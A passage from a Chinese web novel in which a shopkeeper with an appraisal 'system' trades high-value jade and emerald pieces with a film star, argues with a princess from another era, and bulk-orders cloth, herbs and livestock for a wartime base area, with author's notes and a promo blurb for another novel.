这只帝王紫，系统估价确实在千万，看来营销号并不是为她乱立人设。 “您眼光真毒辣，我心里的预期也是在千万左右。”萧妧妧坦荡荡说。 “如果冰种再好一点，绝对是过亿的品相，那太难得了。”高鹭惋惜一会，转头问：“这只挺不错，我出两千五百万，如何？” 萧妧妧直接一个好家伙，踩着她的底线开价。 “高女士，您这价格太低了。它种水不差，又是最近才出现在市场的货，不骗您，在您后面还有不少客人预约看货呢，今天下午就有两拨。” “您应该关注过拍卖行，几年前有一款类似的镯子，圈口比我这只小一点，拍卖价达到了五千万。 当然，拍卖价有多种因素影响，不能当做参考，我这只不说要五千万，但您开得价实在低预期太多。” “如果您坚持两千五，我们没什么能聊的，我宁愿再等等送去拍卖行。” 高鹭试戴手镯比划一会，沉吟片刻，问：“你手上只有这一只吗？” 萧妧妧知道她在担心什么，笃定回答：“我可以保证，帝王紫手镯我手上只有这一只。 以您对翡翠的了解，应该不难看出它是古董翡翠，它的温润感是新翡翠达不到的程度。” 依然是那句话，物以稀为贵，一旦客人知道她手上藏了不少差不多档次的紫翡，价格抬不上去。 这类情况在圈子里不少见，客人前脚高价下单，后脚卖家陆续出了一批同一块料子上开出来的货，市场上出现太多差不多档次的货，第一个客人就成了冤大头，买走的货瞬间跌几十万上百万，被坑了都无处说理，自认倒霉。 客户有这方面的顾虑实属正常，只能怪同行把路走窄了。 “您放心，就是想买，我也拿不出第二只来。”萧妧妧继续做工作：“毕竟是古董翡翠，工艺和设计确实有点老，您要是不满意，买回去重新加工一下，切开分成几个小坠子，价格肯定是比手镯的价值高。” 这就是翡翠的魅力，切一切磨一磨，感觉要完，再切一切，马上起飞。只要能取其精华，价格成倍的涨。 这只帝王紫吃亏在古代技艺打造，工艺有限制，手工打造虽然细节丰富，但不够精细，质地不够均匀，可以说是一枚待精心打磨的璞玉，有上涨空间。 萧妧妧可不是为了抬高价格胡编乱造，类似情况在圈子里很常见，稍微看走眼，低价卖出去，转头买家拿去重新切，再出现价格涨几十万的不少。 更有低价时无人问津，切涨后高攀不起，只能暗自后悔没早点下手。 太多了。 高鹭闻言重新端详，像是在规划如何切，倒是没反驳她的话。 “两千八，萧老板觉得呢？”高鹭再次开价。 萧妧妧直呼碰到高手了，她故作为难地拧眉，“说实话，哪怕是两千八也比我预期低了一截。” 看高鹭面露犹豫，萧妧妧笑得洒脱：“没关系，几千万的东西确实要好好考虑，要不您再看看其他的？我手里有两条新收的绿翡项链，还有彩宝，您感兴趣可以看一眼。” 来都来了，萧妧妧可舍不得让客户空手离开，看一个是看，两个也是看，说不定能带走别的呢。 她转头拿来两条项链，正是申明月从匪窝里抢来的，两条估价加一起不到五百万，以萧妧妧现在的眼光看来，只能说中偏下的档次。 “这两条依然是古董翡翠，珠链直径15咪，菠菜绿，一共六十六颗珠子，当项链手链都合适。这条便宜，我直接给您底价吧，三百万。 另外一条的蛋面切得厚，市场上不多见，因此价格偏贵，三百五十万，两条打包卖不单出。” 高鹭大约也是想着来都来了，接过两条项链在太阳光下仔细看。 “种水差了点，不过确实不贵。”高鹭淡淡评价，转而说：“我还是更喜欢那只紫翡。” 萧妧妧暗道一句当然，这三样不是一个档次的，有珠玉在前，高鹭更不能看上珠链，对帝王紫的喜欢就越发明确。 “那您再抬抬价，两千八确实有点低了。”萧妧妧苦恼地说。 高鹭迟疑问：“介意拍视频吗？我和朋友商量商量。” 萧妧妧一听便知道这是有戏。 “您随意。” 高鹭笑笑，给帝王紫来了个七百二十度地拍摄，然后发出一条语音咨询问价。 这挺正常，萧妧妧并不介意，趁她等消息的工夫，拿出那枚估价五千万的祖母绿戒指。 蓝宝石戒指最贵才大几百万，高鹭可能看不上眼，直接拿出祖母绿惊艳她。 卖得出就卖，卖不出萧妧妧就能理直气壮的自己留下收藏了。 【作者有话说】 对不起！准备在7号21点发的，忘记定时了[爆哭]我的一排小红花没了（21点还有一章） 感谢读者“书虫”,灌溉营养液+30 感谢读者“藏月水寒”,灌溉营养液+2 [垂耳兔头]打个广告《末世女配是天然钓》 前男友嫌弃阮灵熙保守木讷，打扮老土，白长了绝美脸蛋、妖娆身材，趁着丧尸爆发，末世降临，以没有觉醒异能为由踢开了她。 “灵熙，你留在队里会拖累大家。顾月儿不一样，她的治愈异能可以稳定小队，我必须做出正确选择。” 战队集结出发前往中心基地之际，失去战队随行名额，被迫留在这座即将面临尸潮暴.动的人口大城，结局只有等死。 刚穿进限制级末世文，成为开局死翘翘炮灰女配，阮灵熙一脸懵。 为了活下去，她决定找个大腿抱一抱。 一号大腿，覆面系哑巴男，杀伤力极高，有杀神之称的战斗机器。 二号大腿，daddy系熟男医生，中心基地第一治疗师，病毒克星。 三号大腿，冷峻威严的指挥官，五系异能集一身的六边形强者，未来是南方基地第一负责人。 四号大腿，渣男前任的同寝兄弟，中心基地说一不二的太子爷。 惨遭抛弃的战队废物没有一蹶不振，转身坐进指挥官的副驾、公然与前任队友拥抱、深夜走进前任兄弟的房间…… 渣男前任：不敢睁开眼，希望是我的幻觉（咆哮版） 本本分分抱大腿、勤勤恳恳当奶妈，阮灵熙对目前的生活很满意，坐等基地建成端起铁饭碗。 只是抱着抱着，她的大腿们越来越不对劲，看她的眼神如狼似虎。 说一不二太子爷：比起叫姐姐，我更喜欢听姐姐叫。 daddy系熟男医生：连呼吸都能被我掌控，你在嘴硬什么？ 冷峻威严指挥官：我能护住南方基地，难道还护不住你？ 小哑巴杀神不语，只一味地索取，用灼热目光询问她：还能不能继续？ NPC：《阮灵熙和她的大腿们》未删减版PDF（1），十晶核一份。 90 第90章 ◎1.1亿的帝王绿◎ “萧老板深藏不露啊。” 看见祖母绿戒指的时候,高鹭眼睛亮了不止一个度。 她接过戒指，欢喜地戴上手，问：“这枚萧老板开价多少？” 萧妧妧现在情绪有点复杂，希望她能买下,又不太希望她买走。 “六千万,差一分钱都不出。”萧妧妧简单介绍一下祖母绿的尺寸,补充一句：“刚收到手,没来得及送去检测，所以没怎么跟您抬价。” “六千万……”高鹭心动不已,听到报价暂且冷静下来：“这枚我也一起拍个照吧？” 萧妧妧抬手示意她随意。 高鹭发完消息，把戒指、手镯、两条项链摆在一处,目光来回扫，挑拣起来。 “其实这两条项链挺不错的,可惜和紫翡摆在一起了，”高鹭感叹一声,又反复拿起项链在脖颈间比划,“老章,你看我戴着怎么样？” 章女士配合地看过去,好一会才说：“我觉得和你之前买的几条差不多,不过好看是好看的。” 高鹭拿不准主意，无奈调侃说：“没想到您这小铺子名声不显，好东西倒不少，来之前只想看紫翡的,哪知道这一个个都在勾引我。” “那说明它们和您有缘分。”萧妧妧笑着附和。 高鹭纠结了片刻，目光最后落在了祖母绿和帝王紫,她越看越喜欢,越看越满意。 考虑到两件的价格,高鹭想起什么，急促地问：“您这里接受交换吗？我拿身上的帝王绿换。” 买卖双方在交易中对玉石价格谈不妥的情况下，除了付现，还有一种拿价值相当的玉石彩宝等物品补差额的交易方式。 更有人因戴腻了、不喜欢了、不合尺寸等各种理由，互相交换藏品现金补差。 这是圈子里常见的情况，萧妧妧却是第一次经历。 她好奇问：“什么样的帝王绿？” 帝王紫见过，鸽血红见过，祖母绿也见过，萧妧妧真没见过帝王绿，这会挺想开开眼界的。 想到高鹭的收藏品，以及业界传闻的看翡翠的眼光，她拿出手的东西多半差不了。 萧妧妧满心期待，高鹭也不卖关子，转身从包里拿出一长条盒子，再从盒子里取出一厚实的布包。 “我六、七年前从一个港商太太那里收来的藏品，”高鹭一边解释，一边展开布包：“它真的很棒，帝王绿里面少见的大珠，至今位置我都没在市场上见过。 你看，77颗珠子全部是14.5咪，出自同一块料，最关键的是原配，绝对不是后补的。” 萧妧妧一听越发好奇，踮起脚凑过去看。 “哇……确实很顶。” 萧妧妧捧过满绿的项链，走到阳光下，不禁赞叹出声。 原来这就是帝王绿啊。 无论种还是水都很顶级，颜色浓郁且均匀，尤其尺寸足够大，如高鹭所说，确实出自同一块料子，这一点非常难得，市场上找不到相似的好品相的货。 好货摆出来，真假好坏大家一看心里就有数了，剩下的是谈到满意价格。 “这么好的珠链，高女士为什么要出？”萧妧妧打听。 高鹭坦诚的说：“其实我打算出给另一位翡翠商的，这不是正好……” 停顿一会，她继续道：“或许你听说过，我最近几年奖运不太好，差一个奖就能视后影后大满贯，结果每次以为稳了的时候杀出来一个黑马，最后颗粒无收。 你说巧不巧，恰好是买了这条珠链之后的事情，我找大师去家里看过，大师一眼挑出它，说我和它不合，所以我最近想着出手。” 事业停滞不前，而她的年龄在增加，以后能接到的好本子越来越少，实现大满贯的几率呈正比降低，高鹭不急不行。 她仔细琢磨过，哪怕这会把帝王绿卖出去，等以后淡圈了再想办法买回来也是个办法。 萧妧妧再次打量面前时髦优雅的女人，实在不能相信这是她说出的话，太违和。 不过做这一行的确实流传这种说法，玉石养人，在传统文化里玉是有灵性的东西，赋予了“招财”“保平安”“辟邪”等作用。 同样的，出现“倒霉”“身体不适”“事业不顺”“财运不佳”的情况，依然可以甩锅在玉石身上。 萧妧妧刚入行，说不上信不信，毕竟她没有亲身经历过。 “那还挺可惜的，帝王绿珠链不好出吧？”萧妧妧问。 “是啊，毕竟它很贵的，我已经不要求卖太高价，”高鹭叹口气，不高兴的吐槽：“你不知道他们多黑心，八千万的东西竟然砍价五千，压得太狠了，我是不可能卖的。” 高鹭辗转多地，见了多位珠宝商，都没能顺利进行下去，拖拖拉拉留在手里大半年。 过不了几个月是下一个评奖期，她确认会参加A类国际电影节，在冲击影后奖的关键时刻，高鹭担心它继续影响运势，有点着急。 可她已经见过几个大的翡翠商，大家说好了一样，咬死五千万不松口，小的翡翠商资金吞不下，需要联手，因此要又是一番商讨，不知道耽误到哪天。 正常来说，卖给翡翠商是比较快速的变现方式之一，如果想等另一位有元人接手，那可难说了。 而要送去拍卖行，还是那句话，周期长，佣金高，回款慢，不确定因素太多。 加上税费，杂七杂八的费用扣下来，或许还存在倒贴钱的可能。 高鹭快要为这条珠链操碎了心，明明是顶级珠宝，怎么那么难出手。 萧妧妧听了一耳朵，猜测是这几家大公司联手。 翡翠行业说大不大，说小不小，有实力的来回那么几家，若是顺着查上去会发现，背后的主要股东一直是那几个人。 换句话说，跳不出包围圈，高鹭不管找多少家翡翠商，到头来是同一个老板，不过是套了不同壳子。 再阴谋论一点，或许从一开始就是一个局。 得罪人的话萧妧妧不敢乱说，心里过了一遍便当不知道。 高鹭：“我的预期是八千万。您知道的，送去拍卖行肯定不止，要不是和它不合，我绝对要留着一代代传下去。” 萧妧妧信她这句话，顶级帝王绿值得当传家宝。她没有一口答应，先一颗一颗珠子细看，顺带交给系统估价。 等她看完一长串，系统刚好显示结果。 抬眸，看到1.1亿的价格，萧妧妧心里窃喜之余踏实多了，和她自己的预估价差了两千万左右，看来她的眼光勉强算练成。 萧妧妧不动声色：“要让您失望了，我目前只能看到七千三。” 高鹭的说法她保持怀疑，听听得了不能全信，但是可以看出她对价格的期待，开价的时候萧妧妧往下压了不少。 高鹭又一次迟疑了，萧妧妧给的价格不算低，甚至比许多珠宝商高一截，却也没高到她满意的程度。 更重要的是，要不要把握这次机会把这条烫手帝王绿甩出去？ “您要七千三的话，那只帝王紫您再给我降降？”高鹭思索一会，一脸肉疼的表情捡起帝王紫和祖母绿，“这两件我一眼看中，您要是答应换，差多少我补现金。” 恰好，萧妧妧也是一眼看中帝王绿了，在估价过亿的翡翠面前，祖母绿显得黯淡了。 喜新厌旧的萧妧妧现在最爱帝王绿！帝王绿就是她心目中的帝王，鸽血红是皇后。 她冷静下来琢磨一会，道：“您要是肯七千三出，帝王紫我算三千万。单卖的话，我心里价位其实在三千八来着。 至于祖母绿，六千万没得谈，两件加起来九千万，您再补我一千七。” 不管怎么算，萧妧妧都是无本买卖，稳赚不赔。赚了一千七百万，还赚了一条估价过亿的帝王绿。 高鹭听到报价，马上去看手机，在手机上敲敲打打片刻，抬头，爽快答应。 “成，按您说得算。” 敲定的瞬间，萧妧妧满意地笑了。 交易方式不止是现金，还包含交换的珠宝，因此多了一道手续，签协议。 系统有自动排版打印协议的功能，设定好参数，萧妧妧拿到协议和高鹭交换签字，剩下的一千七百万走银行转账。 “加个联系方式吧？以后您这有合适的紫翡我再来看看。” 多了一个客户的同时，还得到了大明星的联系方式，萧妧妧喜不自禁。 “我手里有一块在设计的冰红紫蛋面，大尺寸的，小几百万左右能出手，您要是感兴趣我回头给您拍照片。” 高鹭刚拿下帝王紫，听到小几百万的冰红紫，兴趣缺缺，趁着萧妧妧打包的工夫，在店里闲逛。 “您这紫砂壶不会也是古董吧？”高鹭指着桌子中央，“我瞧着质感很不一样。” 萧妧妧头也没抬的回应：“您眼光真没的说，这是顾景舟的紫砂壶，成套的，不过已经有人预定了。” 高鹭诧异挑眉，多看紫砂壶一眼，“我记得我有一年参加拍卖会，一套紫砂壶卖出去一千多万呢，您这套不便宜吧？” 萧妧妧：“是啊，市场上找不到的货，相对会贵一点。” 高鹭有心想投资，可她只对翡翠了解够深，对紫砂壶算是门外汉，容易被坑，随即放弃了打算。 再环顾店铺的时候，高鹭忽而惊觉，小小一间铺子，好东西可真不少。 不说藏起来的，就摆在台面上的无一不是精品。 萧妧妧打包好手镯戒指，连着协议收据一起递过去，章女士负责接下东西。 高鹭临走前傲娇地问：“要不要给你签个名拍个照？” 萧妧妧当然不会拒绝，甚至迫不及待，征得她同意后发在了店铺的视频账号上，蹭一波影后的热度。 目送两人离开，萧妧妧转头搜索高鹭的资讯。 实在是她买卖翡翠一向高调，非常乐于展示，网友开过许多深扒帖。 按照高鹭说的年份，萧妧妧果然找到一张照片，是六年前的红毯上，戴着那条帝王绿。 新闻报道铺天盖地，珠宝博主同时发出鉴赏视频，随便一搜，关于帝王绿的消息全涌来了。 小道消息汇总一下，萧妧妧顿时明白，难怪估价1.1的帝王绿能让她捡着漏。 【作者有话说】 感谢若凌云扔了1个地雷 感谢读者“ko”,灌溉营养液 +5 感谢读者“客林晚”,灌溉营养液 +1 感谢读者“书虫”,灌溉营养液 +30 90-100 91 第91章 ◎存款过亿◎ 它的“名声”不好。 具体要追溯到它上上任主人,那位港商太太。 港商太太之前是以美貌著名的女明星，知名度不低，是无数人的童年女神。 不管是盘点美女代表还是深扒富豪大瓜，这位女明星的身影无数次出现在其中,网友对其褒贬不一。 她拍下帝王绿是十几年前,刚和富豪领证,网传花了八千万,从拍卖行交易记录来看，价格属实。 后来她出手这件帝王绿时同样惹来许多媒体关注,大家都说她为救破产的富豪老公忍痛割爱出售饰品，嘲讽她豪门梦碎。 再后来,帝王绿珠链出现在了高鹭手中。 她第一次戴着它亮相，当即引来了无数人关注吃瓜。 后面这条是萧妧妧在网上找到的小道消息,不确定真假，据说高鹭当时用六千八百万拿下的它。 萧妧妧回想高鹭听闻她报价七千三时的纠结表情,越发觉得这条小道消息有几分真实。 话说回来,为什么它的名声会不好。 先是港商太太自从拍下它后,富豪老公事业下滑,帝王绿的下一任主人高鹭,在戴上它后，十拿九稳的影后奖杯被一个名不见经传的新演员夺走。 此后数年，高鹭再没拿到什么权威性的奖项。 在媒体的起哄下，越来越多人把他们“不顺遂”的原因怪在帝王绿珠链上。 什么戏子配不上帝王绿、主人命不好、帝王绿太瘟……等等言论在论坛随处可见。 萧妧妧不信邪,去搜了一下，还真在几条吃瓜贴里看到了类似的话。 帝王绿珠链的名声似乎因此在圈子里传开了,演艺圈同行不敢买,从商的敬而远之,翡翠商倒是敢买，却会借机压价。 两个相对来说比较信风水玄学的行业都如此，更别说其他人。 总之乱七八糟的因素影响下，闹到这时帝王绿很难出手了。 高鹭捡了富商太太的漏，萧妧妧捡了高鹭的漏。 萧妧妧顺带吃了几口陈年旧瓜，吃完瓜想起正事，望着手里珠链心里惴惴。 不能吧…… 萧妧妧不觉得那位港商大富豪的倒塌会和一条珠链有关，本身他的产业带点灰色性质，加上时代在变革，法律在完善，老旧行业自然而然被浪潮吞没，不法产业迟早要被清洗。 再者，那位大富豪可是出了名的花花公子，花钱都花不明白的草包，根本没有力挽狂澜的能力，迎来破产的结局根本不意外。 说回高鹭，她知名度高，演技好，是各大奖项青睐的候选者，但这些都不影响资本硬捧自己人。 没看那些在高鹭手里拿走奖杯的演员，后续口碑崩坏，几乎接不到什么有效角色，多数在沉寂中逐渐消失。 嘴里嘀嘀咕咕不可能，萧妧妧的身体却老实地跑去小卖部。 “如烟，帮个忙。” 柳如烟听到声，啃着烤肠回头。 萧妧妧看她满嘴油，忍不住笑了。 柳如烟和孟甜甜处成了好闺蜜，两人抱着平板刷视频，她伸头看一眼，更想笑了。 “富家女爱上穷小子，结局令人唏嘘” “我扶夫君凌云志，夫君还我HPV” “盘点十大超绝凤凰男，看到原配下场，你还想扶贫吗？” 不用说，又是孟甜甜在引导，她誓要改变柳如烟的恋爱脑，变没变不知道，反正她吃得很高兴。 萧妧妧一琢磨，两人处得来属于意料之中。 柳如烟性子骄横，但是本质不坏，是个有点憨的恋爱脑，孟甜甜或许因为自身经历以及本身的性格，是脾气软和的讨好型。 萧妧妧可能会和柳如烟起摩擦，孟甜甜恰好适配，很能包容她。 做了一笔交易的工夫，转头发现她们两人黏黏糊糊，孟甜甜都偷懒不去打尸了。 柳如烟咬下最后一口烤肠，扔掉竹签，含糊问：“帮什么忙？” 萧妧妧递出帝王绿珠链。 “你那有不少大师吧？帮忙拿去驱邪，顺带开个光。” 宁可信其有，不敢信其无，萧妧妧怕把自己给克出个“事业不顺”。 不把问题解决了，萧妧妧担心卖不出手，当然，真卖不出去自留也是值得的，只是自留的话，那就更得注意点了。 不管怎么想，萧妧妧都觉得这一步骤省不掉，正好柳如烟是古代人，她那里搞封建迷信很有一套。 柳如烟一听只是小事，接过珠链揣进衣袖里。 “你喜欢帝王绿？”柳如烟顺口问。 萧妧妧：“不，我喜欢值钱的。” 柳如烟布着红血丝的眼珠子骨碌碌转，“我给你值钱首饰，你也帮我个忙？” 萧妧妧在她旁边坐下，“说来听听。” 柳如烟凑到她耳边低语。 孟甜甜好奇看萧妧妧反应，却见她一脸便秘的样子。 “萧老板，很难吗？”她问。 萧妧妧当即冲着柳如烟翻了个白眼。 “不可能，”她拖远了椅子，“你要是真觉得丢脸，该解决陈松，而不是对着无辜的教坊司舞女下手。” 孟甜甜一听到这里，虽然不知晓柳如烟具体提了什么，但也露出了不赞同的神情。 萧妧妧看她泫然欲泣，考虑到毕竟是古代位面，又是封建国家的权利顶端的人物，思想有碰撞很正常。 她缓和语气说：“为了一个陈松，你堂堂公主背上恶毒善妒的名声，抹黑皇室形象，断绝和其他男人说亲的可能，值得吗？” 孟甜甜大惊，竟然这么严重？ “萧老板，她到底要做什么？” 萧妧妧瞥了一样不服气、不甘心的柳如烟，没给她留面子，说：“她要宴请全京城百姓听曲赏舞。” 孟甜甜：“什么曲？什么舞？” 萧妧妧换了种能过审的说法：“艳曲，擦边舞。” 擦边舞都是美化过的说法，柳如烟想召集伺候过陈松的舞女，在全城人面前穿着吊带牛仔裤跳女团舞。 现代背景下自然是不算问题，放在古代搞这玩意，等于是逼她们去死。 萧妧妧决定收回前面的话，柳如烟有点“坏”。 这份“坏”并非与生俱来，而是深受时代背景左右。 在等级森严的封建社会里，柳如烟站在权利顶端，手中权势足以定人生死，甚至不需要她说什么做什么，只表露出态度，无数人愿意为她出手。 如果有钱有权，可以为所欲为，萧妧妧不保证自己能一直当个正义的好人。 孟甜甜眉头紧皱，想说什么，又憋了回去。 “没有教坊司，还有乐坊、舞坊，除了舞女，大家闺秀小家碧玉，甚至你看不上眼的丫鬟宫女，”萧妧妧淡声说：“你想全部弄死？” “既然你认为是她们觊觎陈松，惦记你的宝贝，那我建议你把宝毁了，不怕贼偷就怕贼惦记，不如从根本解决问题。” 萧妧妧承认，说这话是有点脾气上头，故意挑她不喜欢的说。 柳如烟果然气鼓鼓，“我们才是一头的，你竟然帮她们说话！” 她噌一下站起，提着裙摆怒冲冲离开。 “别忘记开光啊。” 萧妧妧扬声提醒，柳如烟变走为跑，跳过结界回到寝宫。 “来人，来人啊！” 大喊几声，守在寝殿外面的宫女鱼贯进入。 柳如烟掏出袖中帝王绿珠链，赌气似的要丢出去，高扬起胳膊，想到什么，不情不愿地放下，塞给身边的大宫女。 “送去护国寺，请主持开光。对了，要在佛祖前供奉七七四十九日。” 吩咐完，柳如烟气哼哼倒在榻上，捧着珠链的宫女蹲身行礼，告退离去，其他宫女乖觉围上来伺候公主。 又是捶腿又是捏肩，舒坦了，柳如烟的脾气下去了大半。 颇有些脸面的宫女见公主神色舒缓，便开口说：“殿下整日把自己关在寝殿里，奴婢们不得跟随伺候，连个说话凑趣的人都没有，殿下岂不闷得慌。” 柳如烟哼哼两声，她才不闷呢，小卖部可有意思了，好吃的好玩的，还有好看的电视剧，能看到不同的景色。 想到小卖部，自然而然联想到萧老板，柳如烟不由沉了脸色。 宫女最擅长察言观色，见公主不知为何生气，遂闭口不言，动作更加轻柔，免得吃挂落。 半晌，柳如烟语气幽幽的问话：“本宫想养只猫，你们说，若是猫儿不听话，常背着出去偷东西吃该如何？” 宫女面面相觑，公主不是不喜欢猫吗？ “殿下不喜欢猫儿偷吃，那便栓住猫儿，再告诫各宫，不许偷喂。” 柳如烟支起身继续问：“万一是猫儿不听话，就爱四处偷吃，旁人拦不住怎么办？” 宫女天真的说：“不听殿下话那便不是好猫，殿下换一只养。若是真舍不得，关在笼子里也使得。” “如果我既不想换，又舍不得关他呢？” 一小宫女沉思一会，发狠说：“这猫儿不识抬举，依奴婢拙见，合该打断了腿，让它溜不出去。” 柳如烟斜眼看小宫女：“你倒是个心狠的。” 眼珠子转了转，柳如烟没再开口，躺回榻上，脑海里一边回荡萧老板的气话，一边想着小宫女的“打断腿”。 ………… “别管她，小孩子脾气，你忙你的。过不了多久，她肯定要回来找你玩。” 自从柳如烟气得逃走，孟甜甜唉声叹气，萧妧妧没想到她这么容易内耗，不由安抚了一句。 柳如烟迷上了短视频，喜欢看旅游纪录片，正是上头的时候，肯定憋不住。 孟甜甜闻言总算松了一口气，两人在她面前吵起来，不管从哪方面来说，她都是站萧老板的，只是性格原因，一碰见类似争执场面，她就想逃避，甚至有些慌张。 孟甜甜吃完早午饭，帮着把小卖部收拾一遍，扛起唐刀回去打尸。 萧妧妧躺回柜台后的躺椅上，不禁叹气。 人和人的缘分确实妙，她和苏娇娇能处成朋友，和申明月也聊得来，同样是古人，龙傲天、柳如烟稍微差点意思。 小卖部的客人来回他们几个，交往次数多了，萧妧妧生出了和他们是朋友的错觉。 行忌爱的道理用在哪里都适宜。 萧妧妧胡思乱想的时候，看店神器又一次发出提醒，她懒洋洋跟着喊了一声。 “妧妧，我来了。” 说曹操曹操到，一听是苏娇娇的声音，萧妧妧立刻打起精神。 “好久不见，娇娇姐。” 她先是拿出为苏娇娇准备的防弹衣，还有一些最近买来的药品，通通装进行李袋打包送出去。 早该给出去的，萧妧妧担心影响她敌后潜伏工作，忍着没去打扰。 “谢谢妧妧，这些东西我回去看，这次来是有件事要托你帮忙。” 萧妧妧打量她，几天没见，苏娇娇好像变得糙了点，难得的是，她这会穿着作战服，虽然身上摸爬滚打弄得脏兮兮，但是精神状态非常好，一双眼睛炯炯有神。 再看结界，有着连绵的大山和看不到尽头的密林。 她这是去了根据地？ 萧妧妧心里有不少猜测，想到她有保密规定，遂没再追问。 “说吧，娇娇姐有什么需求我都能满足。”萧妧妧拍着胸脯做保证，豪气得很。 高鹭的转账到账了，分散在各个账号的存款加在一起，成功达到了1.1亿。 萧妧妧现在尾巴翘上天了，走路带风不说，现*在和客人说话都敢大小声。 1.1亿！全国十几亿人，现金存款超过她零头的人都不多。 “我就知道你会答应我。”苏娇娇听到她保证心里踏实了，眼含歉意地说：“我这里的情况不便细说，我只告诉你我缺什么，你若是有办法自然最好，若是办不到也不强求。” “那你可小看我了，”萧妧妧懂规矩，拿出纸笔记录：“说说看。” “你看看这块布，你这里能不能买到差不多的？我需要很多匹。”苏娇娇从口袋里掏出几块布料样子，“如果数量不够，颜色倒是可以放宽松点条件，草绿色、灰色都成。” 萧妧妧对比她手上的布料，马上分辨出来，恰好和苏娇娇身上的作战服是同一种料子。 感受到她的眼神，苏娇娇想了想，没有保密的必要，才说： “对，料子是买回去做作战服。有很多同志加入我们，大半年没能领到作战服，一是衣料紧缺，布商被敌人盯得紧，不敢供货。二是附近几个港口车站全被敌人把持住，即便买到布料也送不进来。” 萧妧妧恍然，紧跟着问：“不止缺衣料吧？既然东西送不进去，那米面粮油、鱼肉蛋奶是不是都缺？” 苏娇娇脸颊微红，点点头：“我正准备发电报，托管家想办法采买，目前还能坚持。” 所幸根据地在大山里，靠山吃山，倒也不至于饿着，只是物资过于匮乏，不止粮食，药品同样短缺，有钱买不到物资，最令人头疼。 看着战友们瘦巴巴的样子，苏娇娇想为大家做点什么。 【作者有话说】 感谢读者“婷婷”,灌溉营养液+1 92 第92章 ◎有几样好东西◎ “让你的管家找空车空船,随便停哪，不让人起疑心就行，剩下的物资我给你弄。” 萧妧妧听闻她的难处，挺身而出。 系统的送货功能太合适了,不止省事,还很隐蔽安全,绝对能解决苏娇娇的后顾之忧。 苏娇娇不再迟疑,把最缺的几样物资排在优先位置。 “药品的话……中药材有吗？” 苏家从商，夫家有几个面粉厂,粮食布匹好说，借口是家里走关系调得货,没人会怀疑。 西药太难买，苏娇娇光是想办法解释由来就得费不少心思。 萧妧妧转动脑筋,很快想到一个买药材的渠道。 那是她去外地旅游，一个以种植、加工药材为支柱产业的城市,按着攻略去药材市场逛,买了不少山参当特产带回来送人。 心血来潮养生了一阵子,萧妧妧发现效果意外的好,连痛经都有所缓解,立刻扫包装盒上的联系方式，后续回购过几次。 通过老板的朋友圈，萧妧妧知道他背后有个种植园，常见不常见的药材都有涉及。 即便没有,拜托老板从其他药材商手里采购也是可行的。 萧妧妧心里有底了，道：“批发药材没大问题,娇娇姐,缺哪几味？” 苏娇娇掏出纸条,这原本是打算让管家四处搜罗的。 “黄连、白芍、白芷、麻黄、三七、仙鹤草……” 萧妧妧根本来不及记，干脆拿来纸条，手机拍照。 苏娇娇解释：“有些是治风寒的，有些治痢疾，再就是止血的。对了，能不能买些补身体的药？” 伤员对药材、补品的消耗大，但那里物资不多，大家只能省吃俭用。 苏娇娇来之前知道缺物资，心里没个概念，亲眼瞧见后心酸不已。 萧妧妧琢磨一下，采购清单里多了山参、阿胶、当归几项，能买到的全买了，有多少现货要多少。 老板吓得打来语音电话，仔细询问过后，谨慎地要求付订金，萧妧妧二话不说转账过去。 除了补身体的药材，鸡鸭鱼肉肯定不能少，萧妧妧考虑到效率问题，当即联系张芸。 外婆家村子里有不少邻居做家禽养殖，规模不算大，胜在便利，又是邻里邻居的，通过张芸联系能省去很多麻烦。 冻货不适合送去苏娇娇那里，她特意叮嘱要活鸡活鸭，有小鸡崽也不错，如果有卖兔子的更好，繁衍速度快，既能吃肉，皮子扒了可以做保暖衣物。 多方同步沟通，萧妧妧忙乱了好一阵总算商量妥当，定了活鸡1000只，活鸭1000只，活大鹅500只，鸡崽2000只，活兔子200只。 张芸奇怪她买这些做什么，多问了两句，萧妧妧以城里大客户要买新鲜家禽为由应付过去。 苏娇娇帮不上忙，半张着嘴巴在旁边，看她不停打电话，看她在群聊里发了一条条语音订货打款，说得口干舌燥。 买得东西多，来来回回商量一番，已经耗费一个多小时，等她闲下来，苏娇娇贴心地递上一杯茶。 “辛苦了。” 萧妧妧接过茶杯，咕嘟咕嘟灌下去，长舒一口气。 “采购这活，挺不轻松的。”她笑着说：“今晚能送来一批，我先给你送去还是等齐了一起？” 苏娇娇想到那边还是一团乱，说：“一起吧，我要回去安排一下。” 萧妧妧点头，开始订布匹，这是难度最大的，因此放在最后。 难的不是其他，而是符合那个时代背景的土布、粗布、棉麻布等，现在很少有厂子生产。 萧妧妧找不到门路，只能联系本地工厂一家家问，不知道是因为常规面料不太赚钱，还是嫌弃她的订货量低，没几家愿意接单。 电话一通通打出去，一点好消息没有，萧妧妧暗自着急，她可是在苏娇娇面前夸下海口的。 有苏娇娇在旁边看着，萧妧妧按捺下急躁，继续寻找。 在她不抱希望的时候，意外的，她在一家专为影视剧生产特定面料的厂家找到了她需要的物资，无论是面料还是颜色，完全符合苏娇娇的要求。 最妙的是，厂家存了不少现货，下单当天装车发货，如果地址不远，最快当晚能到。 萧妧妧大手一挥，草绿色和灰色为主的棉麻布、土布，加厚款、轻薄款，全部包圆。 一共订了8000米的低端布料，厂家没接过这么古怪的生意，怕萧妧妧中途反悔白忙一场，同样提出交一半的订金。 萧妧妧二话不说打钱，催促他们尽快发货。 再就是必不可少的白糖和盐、米面粮食，这两样她提前备过货，不需要买。 苏娇娇几次确认，保证东西送过去后包装袋上的所有信息会被结界自动抹除，除了包装稍显特别外，不会泄露另一个位面的信息，才让萧妧妧收进空间分类。 最重要的事情忙完，萧妧妧咸鱼一样瘫在沙发上。 苏娇娇惊叹出声：“手机可真方便。” 可以面对面视频，看到面料的品质颜色。相隔千里万里，一通电话过去，生意做成了，钱款也打过去了。 从头到尾，萧妧妧只是待在小卖部里，说说话，完成了所有繁杂的事项安排，效率期高。 搁在她那里，至少要花上几天时间。 等待，是苏娇娇现在唯一需要做的事。 萧妧妧：“今晚我在小卖部守着，货到了我先收下，等你安排妥当我再送过去。” 这一波货确实有点多，不止是苏娇娇的货，龙傲天的货也包括其中，加起来能塞满整间院子。 最主要是有活物，萧妧妧确认系统空间可以装得下才敢让他们一起送过来。 要熬大夜咯。 想到明天还有黎行聿的朋友要来，萧妧妧直叹气，生意太红火了也不好，影响她咸鱼躺。 接连订了大批量的货物，萧妧妧一度动了心思，要不要搞个厂子，从生产到销售一条龙包下。 转念一想，光是小卖部和古董铺的业务足够她忙的，何必给自己添麻烦。 